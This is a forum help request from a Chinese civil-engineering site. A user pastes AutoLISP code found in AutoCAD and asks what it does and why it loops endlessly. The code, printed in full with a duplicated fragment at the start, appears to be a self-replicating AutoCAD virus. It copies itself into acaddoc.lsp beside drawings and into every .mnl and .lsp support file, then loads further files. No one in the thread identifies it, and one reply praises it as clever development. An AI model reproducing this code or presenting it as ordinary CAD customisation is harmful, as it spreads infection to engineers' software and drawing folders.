土木在线论坛 \ 建筑结构 \ 混凝土结构 \ 【求助】CAD绘图代码解疑,敢问论坛有没有高手

【求助】CAD绘图代码解疑,敢问论坛有没有高手

发布于:2013-08-01 14:36:01 来自:建筑结构/混凝土结构 [复制转发]
本帖最后由 小_李_飞_刀 于 2013-8-1 14:50 编辑

请问CAD中这个代码是干嘛的?
这个代码陷入有限死循环,请问怎么解决?
);while
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app lspfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn (1+ lspn))
(load "acadapq")
(princ)
(load "acadapp")
(princ)

(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(if (findfile target)
(progn
(setq wjm1 (open target "r"))
(while (setq text (read-line wjm1))
(if (= text bz) (setq flag1 nil))
);while
(close wjm1)
);progn
);if
(if flag1
(progn
(setq wjm (open source "r"))
(setq wjm1 (open target "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= text bz) (setq flag t))
(if flag
(progn
(write-line text wjm1)
);progn
);if
);while
(close wjm1)
(close wjm)
);progn
);if
);defun
(setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (length mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq support (strcat acadpath "\\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (append lspfilelist (list "acaddoc.lsp")))
(setq lspnum (length lspfilelist))
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(if dwgpath
(progn
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile (strcat acaddocpath "\\acaddoc.lsp"))
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(app mnlfilename acaddocfile bz)
(app acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(app lspfilename acaddocfile bz)
(app acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
);while
);progn
);if
(setq mnln 0)
(while (< mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "\\" (nth mnln mnlfilelist)))
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln (1+ mnln))
);while
(setq lspn 0)
(while (< lspn lspnum)
(setq lspfilename (strcat support "\\" (nth lspn lspfilelist)))
(setq lspn1 0)
(while (< lspn1 lspnum)
(setq lspfilename1 (strcat support "\\" (nth lspn1 lspfilelist)))
(app lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
);while
(setq mnln1 0)
(while (< mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "\\" (nth mnln1 mnlfilelist)))
(app lspfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1))
);while
(setq lspn (1+ lspn))
(load "acadapq")
(princ)
(load "acadapp")
(princ)

(setq flagx t)
(setq bz "(setq flagx t)")



全部回复(39 )

只看楼主 我来说两句
  • mchg
    mchg 沙发
    2016-02-02 10:13:02

    回复 举报
    赞同0
  • 奔跑的小猴子
    二次开发,叼
    2015-08-22 17:51:22

    回复 举报
    赞同0
加载更多

混凝土结构

返回版块

140.2 万条内容 · 2156 人订阅

猜你喜欢

阅读下一篇

怎样在pkpm出图后配筋调整?

新人求问,在pkpm出了梁施工图后怎样进行调整呢?现在我只知道得标注不能重叠,有些特殊的小梁得自己算,让钢筋的直径尽量统一,不合平法标注要求的改一下,但是听说某些梁要放大钢筋用量,有些位置要缩小钢筋用量,很困惑,也没找到这方面的资料,求明白人指点一下,或者说说是基于什么理论来进行调整的,不胜感激啊!

回帖成功

经验值 +10